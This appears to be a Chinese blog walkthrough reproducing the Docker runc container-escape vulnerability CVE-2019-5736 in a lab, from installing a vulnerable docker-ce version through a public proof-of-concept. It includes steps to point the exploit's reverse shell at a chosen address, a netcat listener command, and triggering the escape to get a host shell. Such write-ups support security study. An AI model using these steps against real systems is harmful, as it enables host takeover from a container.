Docker容器逃逸漏洞 (CVE-2019-5736)的复现

admin 2021年11月9日08:36:13评论181 views字数 1215阅读4分3秒阅读模式

本周继续实践Docker容器逃逸漏洞,CVE-2019-5736,

还是宿主机ubuntu18.04,安装docker-ce,别安装docker.io,

download.docker.com安装,

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg,

echo
  "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null,

sudo apt-get update,

查看docker-ce可安装的版本,apt-cache madison docker-ce,

这回安装18.06.0版本,

sudo apt-get install docker-ce=18.06.0~ce~3-0~ubuntu containerd.io=1.3.7-1,

sudo systemctl enable docker,
sudo gpasswd -a ubuntu docker,
newgrp docker,

这回的靶机要自己build镜像,

git clone https://github.com/agppp/cve-2019-5736-poc,

cd cve-2019-5736-poc,

修改代码,vim stage2.c,反弹shell的地址改成靶机实例的地址,其实这步不合理,因为还没创建靶机实例呢,应该在后面执行run.sh之前改才合理,不过我这里环境就做这一个实验,只有靶机这一个容器实例,因此能提前知道地址,

Docker容器逃逸漏洞 (CVE-2019-5736)的复现

build镜像,docker build -t cve .,

注意提前备份一下宿主机里的docker-run文件,

sudo cp /usr/bin/docker-run /usr/bin/docker-run.bak,

拉起靶机实例,docker run -d cve /bin/bash -c "tail -f /dev/null",

进入靶机实例,先安装几个需要的软件,

apt update,apt install vim net-tools netcat,

cd /root,修改运行脚本,vim run.sh,

Docker容器逃逸漏洞 (CVE-2019-5736)的复现

运行脚本之前,再给靶机开一个shell,打开反弹shell监听,nc -lvp 4444,

再回来运行脚本,./run.sh,

然后再给靶机重新开一个shell作为触发,宿主机的shell这就过来了,

Docker容器逃逸漏洞 (CVE-2019-5736)的复现

逃逸完成。

本文始发于微信公众号(云计算和网络安全技术实践):Docker容器逃逸漏洞 (CVE-2019-5736)的复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月9日08:36:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker容器逃逸漏洞 (CVE-2019-5736)的复现http://cn-sec.com/archives/468279.html

发表评论

匿名网友 填写信息